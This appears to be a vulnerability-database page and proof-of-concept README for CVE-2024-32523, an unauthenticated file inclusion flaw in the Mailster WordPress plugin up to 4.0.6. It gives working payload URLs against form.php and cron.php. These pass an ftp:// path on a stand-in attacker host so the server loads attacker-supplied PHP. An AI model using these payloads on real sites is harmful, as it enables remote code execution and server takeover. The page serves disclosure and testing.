关联漏洞
标题：
WordPress plugin Mailster 安全漏洞
(CVE-2024-32523)
描述：WordPress和WordPress plugin都是WordPress基金会的产品。WordPress是一套使用PHP语言开发的博客平台。该平台支持在PHP和MySQL的服务器上架设个人博客网站。WordPress plugin是一个应用插件。 WordPress plugin Mailster 4.0.6 版本及之前版本存在安全漏洞，该漏洞源于存在路径遍历漏洞。
描述
CVE-2024-32523 Mailster <= 4.0.6 - Unauthenticated Local File Inclusion
介绍
# CVE-2024-32523-Poc
CVE-2024-32523: Mailster <= 4.0.6 - Unauthenticated Local File Inclusion
https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/mailster-2/mailster-406-unauthenticated-local-file-inclusion
Description
The Mailster - Email Newsletter Plugin for WordPress plugin for WordPress is vulnerable to Local File Inclusion in all versions up to, and including, 4.0.6. This makes it possible for unauthenticated attackers to include and execute arbitrary files on the server, allowing the execution of any PHP code in those files. This can be used to bypass access controls, obtain sensitive data, or achieve code execution in cases where images and other “safe” file types can be uploaded and included.
File Vulnerable: form.php and cron.php
function is_dir and file_exists support ftp://
https://www.php.net/manual/en/function.is-dir.php#123573
http://man.hubwiz.com/docset/PHP.docset/Contents/Resources/Documents/php.net/manual/en/function.file-exists.html
Steps to Reproduce:
Require server victim php.ini config FTP and allow_url_include On
1. Attacker create file wp-load.php on ftp server attacker
2. Send payload:
<Host>/wp-content/plugins/mailster/form.php?path=ftp://username:password@ftp.example.com/
<Host>/wp-content/plugins/mailster/cron.php?path=ftp://username:password@ftp.example.com/
Poc RCE:
https://github.com/truonghuuphuc/CVE-2024-32523-Poc/assets/20487674/952aa57f-aa57-43b7-8704-0609cffec783
文件快照
[4.0K] /data/pocs/71b0677d06ea3615133044872b5666821ccb904e
├── [4.4M] mailster.zip
└── [1.9K] README.md
0 directories, 2 files
备注
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